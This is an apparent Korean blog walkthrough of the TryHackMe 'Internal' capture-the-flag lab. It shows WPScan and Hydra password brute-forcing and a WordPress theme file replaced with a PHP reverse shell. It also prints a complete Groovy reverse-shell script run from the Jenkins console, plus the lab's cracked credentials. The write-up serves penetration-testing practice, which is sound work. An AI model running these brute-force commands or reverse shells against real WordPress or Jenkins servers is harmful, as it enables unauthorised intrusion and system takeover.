Internal 머신 침투 테스트 가이드

이 가이드는 TryHackMe의 "Internal" 룸 실습을 위한 침투 테스트 과정을 단계별로 설명합니다. 목표는 내부 네트워크 환경을 모의 침투하여 최종적으로 User 플래그와 Root 플래그를 획득하는 것입니다.

실습 개요 및 환경 설정

다음과 같은 과제가 주어졌다고 가정합니다:

  • 대상 환경에 대한 외부, 웹 애플리케이션 및 내부 평가를 수행합니다.
  • 증거로 User.txtRoot.txt 플래그를 제출해야 합니다.

시작하기 전에 몇 가지 준비 사항이 있습니다.

  1. 호스트 파일 수정: 대상 머신의 IP 주소를 internal.thm 호스트명에 매핑합니다. 이는 웹 서버가 특정 호스트명을 기반으로 콘텐츠를 제공할 수 있기 때문입니다.
sudo nano /etc/hosts
# [target_ip]   internal.thm
  1. 포트 스캔: NMAP을 사용하여 대상 머신의 열린 포트와 서비스를 확인합니다.
nmap -F -sV -Pn internal.thm

결과로 포트 80(HTTP)과 22(SSH)가 열려 있음을 확인할 수 있습니다. HTTP 서비스는 Apache 기본 페이지를 보여줍니다.

  1. 디렉토리 탐색: Gobuster를 사용하여 웹 서버의 숨겨진 디렉토리를 찾습니다.
gobuster dir -u http://internal.thm/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --no-error

/blog 디렉토리를 발견하고, 접속해보면 WordPress로 제작된 블로그임을 알 수 있습니다.

WordPress 분석 및 초기 접근

블로그의 게시글 작성자는 "admin"이라는 사용자입니다.

  1. 버전 확인: 페이지 소스 코드에서 WordPress 버전이 5.4.2임을 확인할 수 있습니다.
  2. 사용자 열거: /blog/?author=1로 접속하면 /blog/index.php/author/admin/으로 리다이렉트되며 admin 사용자가 존재함을 알 수 있습니다. WPScan을 사용하여 사용자 열거를 자동화할 수도 있습니다.
wpscan --url http://internal.thm/blog -e u
  1. 비밀번호 크래킹: WPScan과 rockyou.txt 단어 목록을 사용하여 admin 계정의 비밀번호를 찾습니다.
wpscan --url http://internal.thm/blog/wp-login.php --usernames admin --passwords /usr/share/wordlists/rockyou.txt

크래킹 결과, 비밀번호는 my2boys입니다.

  1. 초기 쉘 획득: admin 계정으로 WordPress 관리자 페이지(/wp-admin)에 로그인합니다. 외관(Appearance) > 테마 편집기(Theme Editor)로 이동하여 현재 사용 중인 테마(twentyseventeen)의 404.php 파일을 편집합니다. Kali Linux에 내장된 php-reverse-shell.php 파일의 내용으로 기존 코드를 대체하고, 로컬 머신의 IP와 포트(예: 1234)를 설정합니다. 파일을 저장한 후, 로컬 머신에서 Netcat 리스너를 시작합니다.
nc -lvnp 1234

수정된 404.php 파일에 접속 (http://internal.thm/blog/wp-content/themes/twentyseventeen/404.php)하면, Netcat 리스너에 쉘이 연결됩니다.

권한 상승: User 플래그 획득

초기 쉘에서 /home 디렉토리를 확인하면 aubreanna 사용자가 존재하지만 현재 권한으로는 접근할 수 없습니다.

  1. 정보 수집: /opt 디렉토리에서 wp-save.txt 파일을 발견합니다. 이 파일에는 aubreanna 사용자의 자격 증명이 저장되어 있습니다.
cat /opt/wp-save.txt
# aubreanna:bubb13guM!@#123
  1. 사용자 전환: su aubreanna 명령어로 사용자를 전환하고 /home/aubreanna/user.txt에서 User 플래그를 획득합니다.

권한 상승: Root 플래그 획득

User 플래그가 있는 디렉토리에서 jenkins.txt 파일을 발견합니다. 이 파일은 내부 Docker 컨테이너(172.17.0.2:8080)에서 Jenkins 서비스가 실행 중임을 알려줍니다.

  1. SSH 터널링: Jenkins 서비스는 내부 네트워크에서만 접근 가능하므로, SSH 포트 포워딩을 통해 로컬 머신에서 접근할 수 있도록 설정합니다.
ssh -f -N -L 4567:172.17.0.2:8080 aubreanna@internal.thm
# 비밀번호: bubb13guM!@#123
  1. Jenkins 크래킹: 로컬 브라우저에서 http://localhost:4567로 접속하여 Jenkins 로그인 페이지를 확인합니다. Hydra를 사용하여 admin 계정의 비밀번호를 크래킹합니다.
hydra -l admin -P /usr/share/wordlists/rockyou.txt -s 4567 127.0.0.1 http-post-form "/j_acegi_security_check:j_username=admin&j_password=^PASS^&from=%2F&Submit=Sign+in&Login=Login:Invalid username or password"

크래킹 결과, 비밀번호는 spongebob입니다.

  1. Jenkins 콘솔 활용: Jenkins 관리자 페이지에서 Jenkins 관리 > 스크립트 콘솔(Script Console)로 이동합니다. Groovy 스크립트를 사용하여 리버스 쉘을 실행합니다.
String host="[로컬 IP]";
int port=4444;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(), pe=p.getErrorStream(), si=s.getInputStream();
OutputStream po=p.getOutputStream(), so=s.getOutputStream();
while(!s.isClosed()){
    while(pi.available()>0) so.write(pi.read());
    while(pe.available()>0) so.write(pe.read());
    while(si.available()>0) po.write(si.read());
    so.flush(); po.flush(); Thread.sleep(50);
    try { p.exitValue(); break; } catch (Exception e){}
};
p.destroy(); s.close();

로컬 머신에서 nc -lvnp 4444로 리스너를 설정한 후 스크립트를 실행하면, Jenkins 컨테이너 내부의 쉘을 얻을 수 있습니다.

  1. Root 자격 증명 획득: Jenkins 쉘에서 /opt/note.txt 파일을 확인하면 root 사용자의 비밀번호가 기록되어 있습니다.
cat /opt/note.txt
# root:tr0ub13guM!@#123
  1. Root 플래그 획득: 획득한 자격 증명으로 SSH를 통해 루트 계정에 접속합니다.
ssh root@internal.thm
# 비밀번호: tr0ub13guM!@#123

/root/root.txt 파일에서 최종 Root 플래그를 획득합니다.

태그: TryHackMe 침투 테스트 WordPress WPScan Nmap

6월 20일 16:26에 게시됨